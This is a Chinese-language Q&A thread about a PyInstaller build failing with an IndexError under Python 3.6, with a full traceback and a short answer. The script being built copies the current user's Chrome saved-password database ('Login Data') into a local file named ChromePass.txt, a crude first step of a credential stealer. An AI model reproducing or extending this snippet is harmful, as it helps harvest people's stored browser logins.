2017-03-03 142 views
1

我一直試圖在pyinstaller中編譯下面的代碼,並不斷得到相同的「IndexError:元組索引超出範圍」錯誤..希望有人可以幫助我。Python - IndexError:元組索引超出範圍 - pyinstaller錯誤

代碼:

import shutil import os import getpass 

CurUser = getpass.getuser() os.mkdir('Extracted Files') 

if 'C:\Program Files (x86)\Google' == 'C:\Program Files (x86)\Google': 
    shutil.copy2("C:\\Users\\" + CurUser + 
     "\\AppData\\Local\\Google\\Chrome\\User Data\\Profile 1\\Login Data", 
     "Extracted Files\\ChromePass.txt") 

編譯器日誌:

C:\Users\Sandy\Desktop\PyTh0n>pyinstaller EXtractChrome.py 
1387 INFO: PyInstaller: 3.2.1 
1387 INFO: Python: 3.6.0 
1387 INFO: Platform: Windows-10-10.0.14393-SP0 
1387 INFO: wrote C:\Users\Sandy\Desktop\PyTh0n\EXtractChrome.spec 
1387 INFO: UPX is not available. 
1402 INFO: Extending PYTHONPATH with paths 
['C:\\Users\\Sandy\\Desktop\\PyTh0n', 'C:\\Users\\Sandy\\Desktop\\PyTh0n'] 
1402 INFO: checking Analysis 
1402 INFO: Building Analysis because out00-Analysis.toc is non existent 
1402 INFO: Initializing module dependency graph... 
1418 INFO: Initializing module graph hooks... 
1418 INFO: Analyzing base_library.zip ... 
Traceback (most recent call last): 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\runpy.py", line 193, in _run_module_as_main 
    "__main__", mod_spec) 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\runpy.py", line 85, in _run_code 
    exec(code, run_globals) 
    File "C:\Users\Sandy\AppData\Local\Programs\Python\Python36-32\Scripts\pyinstaller.exe\__main__.py", line 9, in <module> 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\__main__.py", line 90, in run 
    run_build(pyi_config, spec_file, **vars(args)) 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\__main__.py", line 46, in run_build 
    PyInstaller.building.build_main.main(pyi_config, spec_file, **kwargs) 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\building\build_main.py", line 788, in main 
    build(specfile, kw.get('distpath'), kw.get('workpath'), kw.get('clean_build')) 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\building\build_main.py", line 734, in build 
    exec(text, spec_namespace) 
    File "<string>", line 16, in <module> 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\building\build_main.py", line 212, in __init__ 
    self.__postinit__() 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\building\datastruct.py", line 161, in __postinit__ 
    self.assemble() 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\building\build_main.py", line 317, in assemble 
    excludes=self.excludes, user_hook_dirs=self.hookspath) 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\depend\analysis.py", line 560, in initialize_modgraph 
    graph.import_hook(m) 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\lib\modulegraph\modulegraph.py", line 1509, in import_hook 
    source_package, target_module_partname, level) 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\lib\modulegraph\modulegraph.py", line 1661, in _find_head_package 
    target_module_headname, target_package_name, source_package) 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\depend\analysis.py", line 209, in _safe_import_module 
    module_basename, module_name, parent_package) 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\lib\modulegraph\modulegraph.py", line 2077, in _safe_import_module 
    module_name, file_handle, pathname, metadata) 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\lib\modulegraph\modulegraph.py", line 2167, in _load_module 
    self._scan_code(m, co, co_ast) 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\lib\modulegraph\modulegraph.py", line 2585, in _scan_code 
    module, module_code_object, is_scanning_imports=False) 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\lib\modulegraph\modulegraph.py", line 2831, in _scan_bytecode 
    global_attr_name = get_operation_arg_name() 
    File "c:\users\sandy\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\lib\modulegraph\modulegraph.py", line 2731, in get_operation_arg_name 
    return module_code_object.co_names[co_names_index] 
IndexError: tuple index out of range 

回答

1

有關官員說,

的Python 3.6尚不支持。

相關問題